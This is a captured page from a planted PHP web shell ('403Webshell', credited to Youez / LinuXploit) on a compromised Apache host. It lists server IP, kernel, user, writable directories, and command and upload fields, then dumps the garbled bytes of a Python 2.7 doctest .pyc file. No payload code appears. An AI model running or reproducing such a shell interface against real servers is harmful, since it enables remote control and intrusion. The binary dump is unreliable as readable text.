403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.95
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python27/lib64/python2.7/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python27/lib64/python2.7/test/test_doctest2.pyc
�
�q2_c@s�dZddlZddlZddlmZejjdkrRejd��ndefd��YZ	d�Z
dd	lTed
kr�e
�ndS(u�A module to test whether doctest recognizes some 2.2 features,
like static and class methods.

>>> print 'yup'  # 1
yup

We include some (random) encoded (utf-8) text in the text surrounding
the example.  It should be ignored:

ЉЊЈЁЂ

i����N(ttest_supportisCannot test docstrings with -O2tCcBs{eZdZd�Zd�Zdefd��YZd�Zd�Ze	eedd�Z
ed	��Ze
d
��ZRS(u�Class C.

    >>> print C()  # 2
    42


    We include some (random) encoded (utf-8) text in the text surrounding
    the example.  It should be ignored:

        ЉЊЈЁЂ

    cCsdS(s:C.__init__.

        >>> print C() # 3
        42
        N((tself((s7/opt/alt/python27/lib64/python2.7/test/test_doctest2.pyt__init__#tcCsdS(s.
        >>> print C() # 4
        42
        t42((R((s7/opt/alt/python27/lib64/python2.7/test/test_doctest2.pyt__str__*stDcBseZdZd�ZRS(sIA nested D class.

        >>> print "In D!"   # 5
        In D!
        cCsdS(s7
            >>> print 3 # 6
            3
            N((R((s7/opt/alt/python27/lib64/python2.7/test/test_doctest2.pytnested8R(t__name__t
__module__t__doc__R(((s7/opt/alt/python27/lib64/python2.7/test/test_doctest2.pyR1scCs|jS(sf
        >>> c = C()    # 7
        >>> c.x = 12   # 8
        >>> print c.x  # 9
        -12
        (t_x(R((s7/opt/alt/python27/lib64/python2.7/test/test_doctest2.pytgetx>scCs
||_dS(sl
        >>> c = C()     # 10
        >>> c.x = 12    # 11
        >>> print c.x   # 12
        -12
        N(R(Rtvalue((s7/opt/alt/python27/lib64/python2.7/test/test_doctest2.pytsetxGstdocsh        >>> c = C()    # 13
        >>> c.x = 12   # 14
        >>> print c.x  # 15
        -12
        cCsdS(s�
        A static method.

        >>> print C.statm()    # 16
        666
        >>> print C().statm()  # 17
        666
        i�((((s7/opt/alt/python27/lib64/python2.7/test/test_doctest2.pytstatmWs
cCs|S(s�
        A class method.

        >>> print C.clsm(22)    # 18
        22
        >>> print C().clsm(23)  # 19
        23
        ((tclstval((s7/opt/alt/python27/lib64/python2.7/test/test_doctest2.pytclsmcs
(R	R
RRRtobjectRR
RtpropertytxtstaticmethodRtclassmethodR(((s7/opt/alt/python27/lib64/python2.7/test/test_doctest2.pyRs		
					cCsWddlm}d}tj|�\}}||krStjd||f��ndS(Ni����(t
test_doctest2is expected %d tests to run, not %d(ttestRRtrun_doctestt
TestFailed(RtEXPECTEDtftt((s7/opt/alt/python27/lib64/python2.7/test/test_doctest2.pyt	test_mainos	(t*t__main__(
RtsystunittestRRtflagstoptimizetSkipTestRRR!tdoctestR	(((s7/opt/alt/python27/lib64/python2.7/test/test_doctest2.pyt<module>
sZ	



Youez - 2016 - github.com/yon3zu
LinuXploit